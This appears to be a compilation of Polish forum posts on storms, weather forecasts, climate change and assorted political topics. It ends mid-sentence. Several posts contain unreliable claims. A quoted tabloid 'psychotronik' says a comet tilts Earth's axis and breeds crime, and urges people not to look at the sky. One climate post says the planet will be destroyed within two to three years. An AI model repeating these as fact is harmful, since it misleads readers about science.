Zdjecia burzy piekne. Piekne i grozne. Robia wrazenie. Moje
spotkanie z przerazajaca burza mialo miejsce w szkole.
Wylosowalem Mickiewicza i jego burzowy sonet. Musialem zgadnac
co poeta mial na mysli opisujac burze na morzu. Nie do konca
zgadlem, wedlug pani od polskiego, ale sonet zapamietalem.

Pawia pewnie nie wypada nazwac Emu :). Ale pokusa jest.
W Stanach furore robi australijski import - buty Emu.
Mam o nich swoja opinie ale nie bede jej publicznie wyrazal.
De gustibus... i ten tego.

Na poczatku miesiaca zaszczepilem sie. U mnie to dziala.
Katar, grypa i pochodne trzymaja sie ode mnie z daleka.

Tytuly w portalu GW czytam niechetnie i tylko jednym, przymknietym
okiem. W tresc juz nie wchodze. Same tytuly sa wystarczajaco
przerazajace. Byc moze ogloszono konkurs na najbardziej krew
mrozacy scenariusz na swiecie. Kataklizm goni katastrofe lub
odwrotnie. Przypomina sie Edgar Poe i jego "Zaglada rodu Usherow".
Szczesliwie, te alarmujace przepowiednie dotycza tylko swiata
zagranicznego. W Polsce nic zlego, na szczescie, sie nie dzieje.
Gazety tak jak Tomek Sawyer maluja kolorowy szlaczek i czasem
nawet z rozpedu pierdykna tu i owdzie, w oddali obraz teczy.
Dla tego samego zjawiska atmosferycznego warto czytac prase.

Od pewnego czasu mysle o przeprowadzce. Lekko znudzilo mi sie
obecne miejsce. Czuje, ze potrzebuje zmiany. I zmiany dokonam.
Najprawdopodobniej do konca miesiaca. Po swiecie indyka najlepiej.
Dam znac gdy sie juz przeprowadze...

Cieplejszego i pogodnego weekendu zycze Wszystkim,
paka,
m.

  Klimatyzm - nowa świecka religia
Łowcy burz
Czy interesuje Cię meteorologia? Masz chrapkę na ściganie groźnych
zjawisk? Wkurza Cię brak ostrzeżeń dla Twojego regionu? Uwielbiasz
wpatrywać się w groźne zjawiska atmosferyczne? Taak? Dołącz do
nas.....Jesteśmy pierwszą w Polsce Organizacją Polskich Łowców Burz.

Pomysł powstania owej grupy ludzi powstał oczywiście na wzór
podobnych grup "tropicieli tornad" w Stanach Zjednoczonych. O ile
występowanie tornad czy trab powietrznych w Polsce jest dosyć
rzadkie o tyle:
a) jest ich coraz więcej i są groźniejsze
b) inne zjawiska (burze,śniezyce,gołoledź, mrozy,upały) są coraz
bardziej dotkliwe dla ludzi i powodują naprawde wielkie zniszczenia
dóbr osobistych.
Jak wiemy w naszym kraju coraz więcej słyszymy o gwałtownych
zjawiskach pogodowych typu - burza, śnieżyca, silny lub ciągły opad
deszczu grożący powstaniem powodzi, gołoleż, silne mrozy czy wysokie
temperatury. Jako silna i dobrze rozwijająca się grupa ludzi
zajmująca się czy to zawodowo czy to amatorsko problemami
występowania owych groźnych zjawisk chcemy działać dla dobra
ludzkości (społeczeństwa Kraju). Cele jakie nam przyświecają to
przede wszystkim ostrzeganie, zapoznawanie mieszkańców naszego Kraju
przystępną podstawową wiedzą n/t groźnych zjawisk oraz ukazywanie Im
zniszczeń, które powodują. Zasadą jaką kierują się członkowie
organizacji to - "Badać, ukazywać i pomagać". Na początku roku
odbędzie się inauguracyjne po zarejestrowaniu stowarzyszenia. Po
czym ruszymy ostro do pracy.Zapału, chęci nam napewno nie zabraknie.

Bardzo serdecznie pozdrawiam oraz życzę udanego surfowania po forum
i brania czynnego udziału w rozwoju jego jak i całej organizacj

Jarosław Turała - założyciel grupy

www.lowcyburz.pl/foruml/forum/

  Prognoza sezonowa styczeń - czerwiec 2008
Jaki będzie 2008 rok na całym świecie?
Początek nowego roku to dobry czas na prognozowanie tego co może nas
czekać przez 12 miesięcy. 2008 rok będzie niewątpliwie rokiem La
Nińa...
Początek nowego roku to dobry czas na prognozy tego co może nas
czekać w najbliższych 12 miesiącach. 2008 rok będzie niewątpliwie
rokiem La Nińa, czyli anomalii polegającej na tym, iż woda w
równikowej strefie Pacyfiku jest znacznie chłodniejsza niż normalnie
powinna. Ma to olbrzymi wpływ na zjawiska pogodowe na całym świecie.
Dzięki La Nińa pierwsze miesiące nowego roku przyniosą powodzie w
południowo-wschodniej Azji, czyli w Indonezji, Malezji, Nowej
Gwinei, a także w północnej Australii, Republice Południowej Afryki,
Botswanie, Lesotho, Zimbabwe, Zambii, Mozambiku, Madagaskarze, w
północnej Brazylii i na północno-zachodnim krańcu USA. W rejonach
tropikalnych podwyższoną aktywnością będzie się odznaczał sezon
cyklonów. Zupełnie odmienna sytuacja, czyli niedostatek opadów
prowadzący do suszy, będzie panować w Kenii, Tanzanii, Ugandzie,
Rwandzie i Burundi. Tymczasem w połowie roku i w kolejnych
miesiącach powodzie i chłody spodziewane są w gęsto zaludnionych
krajach południowo-wschodniej Azji, natomiast susza nękać będzie
wyspy Oceanii, a w Australii pojawią się wyjątkowo wysokie
temperatury. Podwyższona aktywność cyklonów i huraganów spodziewana
jest w rejonie Karaibów. Według naszych najnowszych prognoz pierwsze
miesiące 2008 roku w Polsce przyniosą wyższe temperatury niż zwykle
o tej porze roku. Czeka nas kontynuacja dość łagodnej zimy. Wiosna
rozpocznie się znacznie wcześniej i będzie bardzo gorąca. Jednak
początkowo wysokim temperaturom będą towarzyszyć częste i obfite
opady deszczu oraz burze, które mogą powodować spustoszenia podobne
do tych z ubiegłorocznego lata. Prognozy na lato również są
optymistyczne dla tych, którzy lubią gorące i pogodne dni. Tymczasem
prognozy niektórych naukowców wskazują na to iż 2008 rok może się
okazać najcieplejszym rokiem na świecie w historii pomiarów.
Niewątpliwie czeka nas jeszcze więcej anomalii pogodowych, które
pojawią się nie tylko poza granicami naszego kraju, ale również w
samej Polsce. Dodajmy, że 2008 rok przez Zgromadzenie Ogólne
Organizacji Narodów Zjednoczonych został ogłoszony Międzynarodowym
Rokiem Planety Ziemia.

  Strasburg: "Nie" dla krzyży w klasach
Zacznij myslec? Ja? Nad czym? To moze Ty zacznij mnie czytac ze zrozumieniem.

Moze zauwazysz wreszcie ze nie lubie czarnych. Ja tylko krytykuje wojujacych
ateistow ktorzy popieraja socjalistow.
Tak zapytam z ciekawosci:
Dlaczego nie ma ani jednego Twojego wpisu o zbrodniach popelnionych pod
pretekstem wprowadzania socjalistycznej sprawiedliwosci spolecznej a sa setki
Twoich postow o zbrodniach Kosciola?

Czepiasz sie czarnych o mordy sprzed 400 lat kiedy ludzie uwazali ze ziemia
jest plaska a na burze mowili ze to zemsta aniolow a nie piszesz nic
socjalistach. A przeciez sporo zbrodniczych lewakow jeszcze zyje.
Gdzie sa Twoje wpisy o zbrodniach komunistow z Chin czy z obecnej Rosji, o SB w
Polsce ktorej ludzie rzadza nasza gospodarka. No gdzie?
Nie ma nawet jednego. Rozumiem ze jestes chory z nienawisci do Kosicola ale to
nie powod zeby widziec tylko jeden waski aspekt ludzkiego zla. Nie sadzisz?

Odpowiesz na te pytania? Watpie?

Moze Ty sie wreszcie zastanow nad soba. Moze dojdziesz do wniosku ze to nie
Kosciol jest winny ale zwyczajnie ludzka mentalnosc, rzadza wladzy i bogactwa. I
moze zamiast krytykowac tylko Kosciol zaczniesz w koncu dostrzegac zlozonosc
zjawiska. Moze zrozumiesz ze Kosciol to tylko narzedzie sluzace do zdobywania
wladzy, tak samo jak teraz ekologia, sprawiedliwosc spoleczna czy walka z
terroryzmem itd itd.
Moze zauwazysz podobnienstwo. Kiedys na zwykla agresje mowilo sie krucjata
przeciw niewiernym a teraz mowi sie - "misja pokojowa" albo 'wprowadzanie
demokracji". Mechanizm jest dokladnie ten sam.
Ty w koncu zacznij myslec a nie pieprzysz w kolko to samo o zlym Kosciele bo to
sie robi juz zywczajnie nudne.

Kumasz roznice?

  pogoda na 2008 rok
pogoda na 2008 rok
Jaki będzie 2008 rok na całym świecie?

Początek nowego roku to dobry czas na prognozowanie tego co może nas
czekać przez 12 miesięcy. 2008 rok będzie niewątpliwie rokiem La
Nińa...
Początek nowego roku to dobry czas na prognozy tego co może nas
czekać w najbliższych 12 miesiącach. 2008 rok będzie niewątpliwie
rokiem La Nińa, czyli anomalii polegającej na tym, iż woda w
równikowej strefie Pacyfiku jest znacznie chłodniejsza niż normalnie
powinna. Ma to olbrzymi wpływ na zjawiska pogodowe na całym świecie.
Dzięki La Nińa pierwsze miesiące nowego roku przyniosą powodzie w
południowo-wschodniej Azji, czyli w Indonezji, Malezji, Nowej
Gwinei, a także w północnej Australii, Republice Południowej Afryki,
Botswanie, Lesotho, Zimbabwe, Zambii, Mozambiku, Madagaskarze, w
północnej Brazylii i na północno-zachodnim krańcu USA. W rejonach
tropikalnych podwyższoną aktywnością będzie się odznaczał sezon
cyklonów. Zupełnie odmienna sytuacja, czyli niedostatek opadów
prowadzący do suszy, będzie panować w Kenii, Tanzanii, Ugandzie,
Rwandzie i Burundi. Tymczasem w połowie roku i w kolejnych
miesiącach powodzie i chłody spodziewane są w gęsto zaludnionych
krajach południowo-wschodniej Azji, natomiast susza nękać będzie
wyspy Oceanii, a w Australii pojawią się wyjątkowo wysokie
temperatury. Podwyższona aktywność cyklonów i huraganów spodziewana
jest w rejonie Karaibów. Według naszych najnowszych prognoz pierwsze
miesiące 2008 roku w Polsce przyniosą wyższe temperatury niż zwykle
o tej porze roku. Czeka nas kontynuacja dość łagodnej zimy. Wiosna
rozpocznie się znacznie wcześniej i będzie bardzo gorąca. Jednak
początkowo wysokim temperaturom będą towarzyszyć częste i obfite
opady deszczu oraz burze, które mogą powodować spustoszenia podobne
do tych z ubiegłorocznego lata. Prognozy na lato również są
optymistyczne dla tych, którzy lubią gorące i pogodne dni. Tymczasem
prognozy niektórych naukowców wskazują na to iż 2008 rok może się
okazać najcieplejszym rokiem na świecie w historii pomiarów.
Niewątpliwie czeka nas jeszcze więcej anomalii pogodowych, które
pojawią się nie tylko poza granicami naszego kraju, ale również w
samej Polsce. Dodajmy, że 2008 rok przez Zgromadzenie Ogólne
Organizacji Narodów Zjednoczonych został ogłoszony Międzynarodowym
Rokiem Planety Ziemia.

  Tak widzom Śloonsk,Śloonzakow
Artykuł wywołał burzę,najbardziej mi bliski komentarz Michała z Mikołowa
,zwłaszcza ostatnie zdanie
"
Skoro nawet nie wiesz gdzie mieszkasz, to co możesz wiedzieć o tożsamości
regionalnej i śląskim poczuciu odrębności? Różnienie się wcale nie jest
negatywnym zjawiskiem, jest źródłem kolorytu i efektywności kulturowej. Niestety
na siłę uniformizowane przez szereg dziesięcioleci społeczeństwo polskie reaguje
całkowitym niezrozumieniem, a wręcz agresją, gdy ktoś wyznaje, że czuje się
innym Polakiem, przywiązanym do innych wartości, pielęgnującym inną kulturę,
opłakującym inne traumy niż te typowo polskie lub wręcz przedkłada swoją
regionalną tożsamość ponad stricte polską, uznającym się za przedstawiciela
wręcz innej narodowości. Może to być zrozumiałe tylko dla tych, którzy sięgają
"pamięcią pokoleniową" dalej niż do swoich dziadków, znają opowieści
pradziadków, znają specyfikę Śląska, jego rozerwanie pomiędzy szereg kultur,
siłowe nawracanie setek rodzin na jedynie słuszną "polskość", których dziadkowie
przy pomocy polskiej administracji zostali wysłani na Syberię, znaleźli się w
obozach koncentracyjnych po 1945 roku w np. Mysłowicach czy Rudzie śląskiej.
Artykuł jest po prostu słaby, nie ma się nawet do czego odnieść, spostrzeżenia
tych ludzi to zwykłe kalki stereotypów i kłamstw wynikających z niewiedzy.
Jestem przede wszystkim Górnoślązakiem, Polska to wyłącznie organizacja
państwowa w ramach której żyję, do której mam stosunek ambiwalentny. Całość
aksjomatów składających się na polską tożsamość, które mi wtłaczano do głowy za
młodu, na pewno w pewnym stopniu mnie ukształtowały, jednak mam do nich chłodne
i wydaje mi się, obiektywne podejście. Pewnie tzw. prawdziwi Polacy wyleją na
mnie zaraz kubeł pomyj, ale będzie to jedynie dowodem na to, że nie dojrzeli
jeszcze do tego, byśmy mogli się różnić "pięknie", przy pełnym wzajemnym
poszanowaniu, nie dzieląc się na lepszych i "lepsiejszych", nie wartościując.
Pozdrawiam"

  Pakiet klimatyczny UE to katastrofalne skutki d...
Żarty sie skończyły!
Ludzie wielokrotnie wykazywali się krótkowzrocznością i brakiem perspektywicznego myślenia. Naturalną tendencją u ludzi jest myślenie w kategoriach krótkoterminowej wygody i bieżących korzyści materialnych. Niestety przy kompletnym ignorowaniu przyrody, ekologii, a także odpowiedzialności względem przyszłych pokoleń.

Ludzie mają tendencję do myślenia, że ta rzeczywistość, która akurat ich otacza, jest jedyną możliwą i będzie istnieć zawsze. Uważają, że coś tak olbrzymiego, jak Ziemia, nie może się zmieniać w skali mniejszej niż miliardy lat. To bardzo niebezpieczna pułapka.

Już teraz, przy podniesieniu się średniej temperatury o niecałe 0,8°C obserwujemy szereg niespotykanych wcześniej zjawisk: rekordowe upały, przesuwanie się stref klimatycznych, topnienie lodowców, huragany, rozmarzanie wiecznej zmarzliny, burze i nawałnice, susze i powodzie. Przyjrzyjmy się tym zjawiskom, dalszym trendom i ich następstwom.

Nawet w Polsce odnotowujemy nasilanie się nietypowych zjawisk, takich jak ekstrema temperaturowe, burze, nawałnice, powodzie czy trąby powietrzne. Polska jest niewielkim krajem, nie znającym prawdziwie ekstremalnych zjawisk, takich jak huragany, tornada, lawiny błotne czy prowadzące do pustynnienia susze, ale te zjawiska nasilają się na całym świecie na naszych oczach.

90% Wielkich klęsk żywiołowych spowodowana jest działalnością człowieka.

Jeżeli nie przestaniemy brudzić i truć środowiska, za 2-3 lata na Ziemii nasiłą się cierpienia żyjących istot i niebawem nastąpi zagłada całej planety.

Dzisiaj jeszcze można uratować Ziemię - jednak należy znacząco ograniczać emisję tak zawnych gazów cieplarnianych, w tym dwutlenku węgla i metanu.

Trzeba masowo zamykać rafinerie, zakłady przemysłowe i elektrownie, które mają obecnie największy wpływ na negatywne zmiany klimatyczne.

Trzeba przestać jeść mięso!

To nie są wymysły lobbystów ani ekologów, ale to widać, słychać i czuć wszędzie.

Dlatego dwie organizacje Narodów Zjednoczonych - Światowa Organizacja Meteorologiczna (WMO) oraz United Nations Environment Programme (UNEP) utworzyły Intergovernmental Panel on Climate Change, czyli Międzyrządowy Zespół do spraw Zmian Klimatu (w skrócie IPCC). Cel powstania IPCC to ocena ryzyka związanego z działalnością ludzi na zmianę klimatu oraz określenia światowych uregulowań mających ograniczyć emisji spalin do atmosfery. Publikowane są kolejne raporty z prac tych organizacji (na nich opiera się moja wypowiedź).

Dlatego w grudniu br. odędzie się w naszym kraju, w Poznaniu, Konferencji Narodów Zjednoczonych w Sprawie Zmian Klimatu.

Dlatego Unia Europejska ogranicza emisję CO2.

ŻARTY SIĘ SKOŃCZYŁY, MUSIMY RATOWAĆ ZIEMIĘ!

  Debata o dialogu polsko-żydowskim (ciekawe)
Debata o dialogu polsko-żydowskim (ciekawe)

15-03-2007

Czy w Polsce trudno jest być Żydem? Czy antysemityzm jest zjawiskiem
powszechnym? - W Polsce jest pod tym względem lepiej niż myślą Żydzi, ale
gorzej niż sądzą Polacy - odpowiadał rabin Michael Schudrich. Debata o dialogu
polsko-żydowskim zgromadziła młodzież z Polski i Izraela oraz autorów wydanej
ostatnio książki "Trudne pytania w dialogu polsko-żydowskim".

Spotkanie miało miejsce w wypełnionej po brzegi nowej auli Instytutu
Europejskiego. Gośćmi debaty byli prof. Władysław Bartoszewski, Naczelny Rabin
Polski Michael Schudrich, były ambasador RP w Izraelu Maciej Kozłowski,
Andrzej Folwarczny, prezes Forum Dialogu Między Narodami oraz wiceprezydent
Łodzi Włodzimierz Tomaszewski.

Młodzież miała okazję zadać gościom pytania o antysemityzm w Polsce, o jego
przyczyny. Jak zwykle burze braw zbierał prof. Bartoszewski, który ze znanym
sobie poczuciem humoru, a jednocześnie mądrze i błyskotliwie, tłumaczył młodym
Polakom i Żydom, dlaczego stereotyp antysemickiej Polski jest fałszywy. - W
Polsce w latach międzywojennych żyło 3,5 mln Żydów. W Warszawie było to 30
proc. mieszkańców. Zdarzały się też miasteczka, gdzie Żydzi stanowili 70 proc.
A taka jest natura ludzka, że żaden naród nie jedzie tam, gdzie jest mu źle!
Polacy nie jeżdżą dzisiaj przecież pracować na Białoruś, ale do Irlandii -
mówił prof. Bartoszewski.

Rabin Schudrich zwracał uwagę, że przez ostatnie 50 lat, dialog między dwoma
narodami był niewystarczający. - Od czasów wojny, aż do 1989 roku, wielu Żydów
nie przyznawało się do swoich korzeni. Dzisiaj jest dużo lepiej. Na codzienne
modlitwy w synagodze przychodzi zawsze przynajmniej kilkanaście osób. A ja
jestem tam najstarszy - opowiadał rabin.

Czy obraźliwe napisy na murach są przejawem antysemityzmu? - To wandalizm,
który wykorzystuje bezmyślnie symbole nie rozumiejąc ich. Musimy z tym
walczyć, m.in. przez kary finansowe dla chuliganów piszących na murach -
obiecywał wiceprezydent Tomaszewski.

Goście zgodnie zauważali, że młodzież żydowska przyjeżdżając do Polski, skupia
się najczęściej na odwiedzeniu obozów koncentracyjnych, a polscy turyści w
Izraelu na Ziemi Świętej i miejscach kultu. Rzadko mają kontakt z
rówieśnikami, z normalnym życiem w danym kraju. - Jak pokazują badania,
organizowane przez nas wymiany młodzieży polskiej i izraelskiej, zmieniają ich
nastawienie do drugiego narodu, przełamują stereotypy - mówił Andrzej
Folwarczny. I tym razem w auli Instytutu Europejskiego była grupa uczniów z
Izraela.
GW...

  Arktyka bez lodu?
Arktyka bez lodu?
Ze zdumieniem przeczytalam, ze to w sumie dobrze, ze lody stopnieja
na biegunie, bo " ocieplenie otworzy nowe, szybsze morskie szlaki
handlowe. Zyskamy też dostęp do surowców naturalnych (ropy, gazu i
prawdopodobnie - metali i kamieni szlachetnych) ukrytych pod dnem
Morza Arktycznego." Niestety brzmi to jak jakis belkot lobby
naftowego w USA a nie opinia rzetelnego naukowca. Moze pan
Ulanowski powinien przytoczyc inne opinie a nie
strescic/przetlumaczyc jeden (bardzo kontrowersyjny, jesli chodzi o
wnioski) artykul?

Do tej pory roztopienie lodow na biegunie uwazalo sie za katastrofe:
Roztopienie lodowców na arktyce spowoduje oziebienie polnocnego
atlantyku i zatrzymanie pradu zatkowowego. Wynik: w bardzo krotkim
czasie Europa znajdzie sie pod lodem. Czy ta opcja jest juz
nieaktuacja? Nie uznje sie tego za potencjalne zagrozenie?

Autorowi tekstu (i nie tyko) polecam film documentalny "An
inconvenient truth" z 2004 roku(chyba dostepny tez w Polsce).
Nikt juz nie kwestionuje, ze globalne ocieplenie klimatu to fakt.
Ze zdumieniem dowiaduje sie, ze rekordowe tempo ocieplenia ma
jakiekolwiek pozytywne strony. Pisanie,ze "w przypadku ludzi
wielkich zagrozen spowodowanych ociepleniem Arktyki nie widać" jest
nie na miejscu. Jesli Artyka sie ocepla, to ocieplaja sie takze i
inne rejony Ziemi (na biegunie efekty globalnego ocieplenia sa
najdramatyczniejsze, wiec najszybciej widoczne). Kilka dni temu
czytalam artykul w wyborczej "Kiribati tonie przez ocieplenie
klimatu":

"Na razie pomoc dla znikającego państewka zadeklarowała premier
Nowej Zelandii Helen Clark, która zapowiedziała, że może przyjąć
część uchodźców klimatycznych. Nowozelandczycy zapłacą również za
program walki z globalnym ociepleniem.

Zjawisko uchodźców klimatycznych jest całkowicie nowe. Eksperci ONZ-
owskiego Panelu ds. Zmian Klimatu (IPCC) szacują, że takich
uchodźców wypchniętych z obszarów zalanych wodą do 2050 r. może być
aż 150 mln. Już dziś podobny problem jak Kiribati mają położone na
Oceanie Indyjskim Malediwy, jedno z najniżej położonych państw
świata."

Jesli pan Ulanowski (gazeta wyborcza?) chcial wywolac burze tym
artykulem, to chyba mu sie udalo (nigdy wczesniej nie pisalam na
zadnym forum). Wyglada to jednak na robienie ludziom wody z mozgu.

  Radar ostrzeże o huraganie - chyba w Kijowie
We wtorek pierwszy w tym roku upał i huragany
W nowym tygodniu pogoda nadal nie będzie ustabilizowana. Musimy być
przygotowani zarówno na fale gorącego powietrza, jak i na
przeszywające chłody, a także na słoneczne i burzowe chwile.
Najważniejszym zjawiskiem będzie jednak bardzo wysoka temperatura,
która we wtorek (26.05) na zachodzie Polski może po raz pierwszy w
tym roku sięgnąć w cieniu 30 stopni. Największe prawdopodobieństwo
wystąpienia upału będziemy mieć w województwie lubuskim, gdzie nasze
najnowsze prognozy wskazują nawet na 32 stopnie. Do 30 stopni w
cieniu może być późnym popołudniem na zachodnim Pomorzu, w
Wielkopolsce i na Dolnym Śląsku. Im dalej na zachód, tym temperatura
będzie wyższa. Warunki do wystąpienia pierwszego upału będą
nadzwyczaj sprzyjające, ponieważ nad wschodnie Niemcy tego dnia
dotrze mokry niż, zaś nad Ukrainą i Morzem Czarnym znajdą się
słoneczne wyże. Układy te wspólnymi siłami będą ściągać z dalekiego
południa, czyli aż znad Afryki, gorące i suche powietrze, które
dodatkowo będzie się ogrzewać nad obszarami środkowej Europy. Jednak
bardzo wysoka jak na maj temperatura długo się nie utrzyma. Niż
jeszcze we wtorkowy wieczór wkroczy nad zachodnią Polskę przynosząc
gwałtowne burze, ulewy, gradobicia i wichury, które mogą spowodować
spustoszenia. Jednocześnie nastąpi znaczący spadek temperatury. W
środę (27.05) w głębi naszego kraju, gdzie dotrze strefa opadów,
temperatura może nie przekraczać 12 stopni, zaś na krańcach
wschodnich, gdzie opady i burze dotrą najpóźniej, termometry mogą
wówczas pokazywać ponad 25 stopni. Warto więc wykorzystać pogodę
panującą w poniedziałek i wtorek (25-26.05) na przykład na spacery,
gdyż kolejne dni nie będą już tak ciepłe i słoneczne.

  Nie patrz dzisiaj w nocy w niebo!
Nie patrz dzisiaj w nocy w niebo!
Dzisiaj w "Super Ekspressie" przeczytalem:

Krwawa kometa zwiastuje nieszczęścia -

Powodzie wiosną, plagi owadów latem, karczemne domowe awantury
trwające cały rok i polityczne burze - oto co zwiastuje kometa,
która dziś w nocy będzie widoczna nad Polską.

Roman Masłyk (52 l.), światowej sławy psychotronik, za naszym
pośrednictwem apeluje do narażonych na nieszczęścia rodaków. - Jest
tylko jedna rada, żeby uchronić się przed szkodliwym działaniem tego
krwawego obiektu kosmicznego. Pod żadnym pozorem nie wolno patrzeć w
niebo!

- Przelot komety powoduje, że nieznacznie zmienia się nachylenie osi
naszej planety. To są zmiany niewielkie, ale ich wpływ na Ziemię
może być bardzo wyraźny - mówi Masłyk. - Kometę C/2007N3 Lulin,
przelatującą właśnie najbliżej Ziemi, widać nocą w południowej
części naszego nieba, niedaleko gwiazdy Regulus w gwiazdozbiorze Lwa.

Choć przelot komety nad ziemią to wyjątkowo piękne zjawisko, to nie
zalecam spoglądania tej nocy w niebo - ostrzega Masłyk. Nasz ekspert
wie co mówi, bo już starożytni astrolodzy obserwowali i opisywali
niszczycielską siłę komet. Zdaniem Romana Masłyka, kometa Lulin
również będzie siała spustoszenie. - Wiosną będziemy mieli powodzie,
a potem ulewne, upalne lato. Możemy się spodziewać również plag
owadów, które będą rozmnażać się gwałtownie i opanowywać nowe
tereny - wylicza specjalista. - Najgorsze jest jednak to, że ludzie
staną się agresywni. To oznacza więcej sporów, a także rozwodów.
Skutkiem przelotu komety mogą być nawet skłonności do popełniania
zbrodni - ostrzega psychotronik.

Jak ochronić się przed działaniem komety:
1. Pod żadnym pozorem dziś w nocy nie wolno patrzeć w niebo.
2. Najlepiej zasłonić okna płótnem nieprzepuszczającym światła.
3. W razie konieczności wyjścia na zewnątrz należy ubrać okulary
przeciwsłoneczne.

  Jeśli chcesz chronić środowisko...
Jeśli chcesz chronić środowisko...
Już teraz, przy podniesieniu się średniej temperatury o niecałe 0,8°C obserwujemy szereg niespotykanych wcześniej zjawisk: rekordowe upały, przesuwanie się stref klimatycznych, topnienie lodowców, huragany, rozmarzanie wiecznej zmarzliny, burze i nawałnice, susze i powodzie. Przyjrzyjmy się tym zjawiskom, dalszym trendom i ich następstwom. Nawet w Polsce odnotowujemy nasilanie się nietypowych zjawisk, takich jak ekstrema temperaturowe, burze, nawałnice, powodzie czy trąby powietrzne. Polska jest niewielkim krajem, nie znającym prawdziwie ekstremalnych zjawisk, takich jak huragany, tornada, lawiny błotne czy prowadzące do pustynnienia susze, ale te zjawiska nasilają się na całym świecie na naszych oczach.
[Za negatywne zmiany klimatu, w 90% odpowiedzialny jest człowiek].

Jeśli troszczysz się o środowisko:

* Odetnij się od postaw konsumpcyjnych, zadaj sobie pytanie, czy na pewno kupujesz coś, co naprawdę jest Ci niezbędne? Miej buddyjską mentalność: żyj prosto, mniej konsumuj a myśl więcej
* Kupując produkt, wybierz ten w najprostszym opakowaniu – często produkcja samego produktu przy produkcji opakowania to drobiazg
* Kupuj towary wielokrotnego użytku – jednorazówki trzeba produkować w dużych ilościach
* Zrezygnuj z plastikowych toreb w sklepach – codziennie na świecie produkuje się i wyrzuca 3 miliardy takich toreb. Noś torbę [ekologiczną] na zakupy ze sobą
* Ogranicz zużycie papieru – może zamiast drukować w 3 kopiach wystarczy wysłać e-mail?
* Stosuj recykling – zazwyczaj dużo lepiej jest odzyskać, niż wyprodukować
* Ogranicz spożycie mięsa – [na przykład] stada hodowlane to emisja metanu
* Decydując w sprawach biznesowych – pamiętaj, że ekologia [ochrona środowiska życia] jest ważniejsza od pieniędzy

[autor]
Fundacja Nasza Ziemia
klimatdlaziemi.plEkopozytywni
www.emetro.pl/emetro/0,91230.html

  Znaleziono ósmą tragicznie zmarłą osobę po wczo...
Znaleziono ósmą tragicznie zmarłą osobę po wczo...
[url=http://lowcyburz.pl/]Tekst linka[/url] ta strona jako PIERWSZA
ostrzega przed burzami i zjawiskami meteorologicznymi w polsce

  To istne piekło - dramatyczna relacja Polki
Pomoc Polski - wyslij e-mail.
to co sie obecnie dzieje jest kompletnym nieporozumieniem. izrael, rosja i stany zjednoczone oferuja pomoc, a co z nami? jestesmy w UE!!! to kraje unijne pierwsze powinny odruchowo zaoferowac pomoc kazdemu ze swoich 'braci' w potrzebie. nikt nie oczekuje, ze gospodarczo slaba RP wysle 10 samolotow, 5 helikopterow i 50 wozow z zalogami - nie o to chodzi!!! naszym obowiazkiem jest pomoc Grekom w miare naszych mozliwosci - a ze mozliwosci mamy niewielkie, niewielka pomoc mozemy im zaoferowac. jeden lub dwa wozy bojowe strazy pozarnej z zalogami na obsluge calodobowa, moze kilka tirow z pomoca dla ludzi, ktorzy stracili caly dorobek zycia [namioty, woda, podstawowe srodki higieny]. pan prezydent, ktory ostatnio tak ochoczo korzysta z przyslugujacego mu transportu lotniczego moglby oddelegowac smiglowiec do transportu personelu z miejsca na miejsce. nawet niewielka grupa zolnierzy po podstawowym przeszkoleniu przez naszych strazakow moglaby odciazyc kilkunastu greckich strazakow, ktorzy zamiast dogrzebywac/dogaszac juz ugaszony pozar mogliby szybciej zajac sie nastepnymi.
pozary, powodzie, gwaltowne burze, huragany, susze - takie zjawiska beda pojawialy sie w Europie coraz czesciej i bede coraz gwaltowniejsze. zaden kraj nie bedzie w stanie samodzielnie sie z nimi zmierzyc - od bogatych niemiec i francji, po litwe i estonie. tylko ogolnoeuropejska wspolpraca umozliwi nam walke z zywiolami. jesli natychmiast nie zaoferujemy Grekom pomocy, damy ostateczne swiadectwo Europie - my tu w Polsce potrafimy tylko brac, w razie czego na nas nie liczcie. i oby Europa potrafila nam to wybaczyc, kiedy to przez nasz kraj przetoczy sie fala pozarow, niszczycielskich powodzi, potezny huragan, zasypie nas snieg albo dotknie najwieksza od 300 lat susza.
wstyd i hanba.

co mozesz zrobic, jesli podzielasz ten poglad? napisz e-mail.
skopiuj tekst ponizszej wiadomosci i wyslij pod jeden lub wszystkie z podanych adresow:

Kancelaria Prezesa Rady Ministrów
cirinfo@kprm.gov.pl
lub formularz:
www.kprm.gov.pl/email.php
Kancelaria Prezydenta RP
listy@prezydent.pl

Ministerstwo Spraw Wewnetrznych i Administracji
minister@mswia.gov.pl

Komendant Główny Państwowej Straży Pożarnej
wiip@kgpsp.gov.pl

tresc:
"Szanowni Panstwo,
Jako obywatel Rzeczypospolitej Polskiej pragne wyrazic swoje niezadowolenie, spowodowane brakiem stosownej reakcji wladz mojego kraju na tragiczna sytuacje w Grecji. Uwazam, ze jako czlonek Unii Europejskiej powinnismy udzielic Grecji natychmiastowej pomocy, w miare naszych ograniczonych mozliwosci. Licze, iz podejma panstwo bezzwlocznie odpowiednie decyzje i dzialania.
Z powazaniem,"

  Dzieńdoberki 2007 po raz pierwszy od początku
Deszczowy czwartek - ze spacerów nici (. Można tylko czytać i oglądać filmy.
No i czekać na wichurę, która ma nadejść w nocy i wiać jeszcze w piątek.
"Wyjątkowo groźne wichury w Europie

(18.01/10:51) - Znaczna część Europy została postawiona na nogi w związku ze
zbliżającym się bardzo głębokim niżem o nazwie Kyrill, który jeszcze wczoraj
znajdował się nad wybrzeżem Kanady, a teraz przechodzi nad Wielką Brytanią. Niż
przesuwa się na wschód z gigantyczną prędkością i to właśnie sprawia, że
towarzyszą mu rekordowe wichury. Teraz mogą je odczuć mieszkańcy Wysp
Brytyjskich, ale w najbliższych godzinach wichury nawiedzą także inne, mniej
odporne na tego typu zjawiska kraje, w tym także Polskę. Wieczorem niż znajdzie
się nad Danią, a 6 godzin później po przewędrowaniu wzdłuż polskiego Wybrzeża,
dotrze do Litwy i Łotwy. Oznacza to, że w zaledwie 12 godzin pokona aż 2 tysiące
kilometrów. Tak niebezpiecznej sytuacji w Europie nie było już od dawna, dlatego
też meteorolodzy nie chcą ryzykować i globalnie informują o zagrożeniu.
Najwyższy stopień zagrożenia ogłosiły służby pogodowe nie tylko w Polsce, ale
także w Niemczech, Danii, Czechach, Austrii, Niderlandach oraz w Wielkiej
Brytanii i Irlandii. Wszędzie tam wiatr w porywach będzie przekraczać 100 km/h,
a lokalnie nawet 120 km/h. Europejski system ostrzegania przed gwałtownymi
zjawiskami do obszaru najpoważniejszego zagrożenia wliczył zachodnią i północną
Polskę, północne Niemcy i Czechy, Holandię oraz północną Anglię. Tam zniszczenia
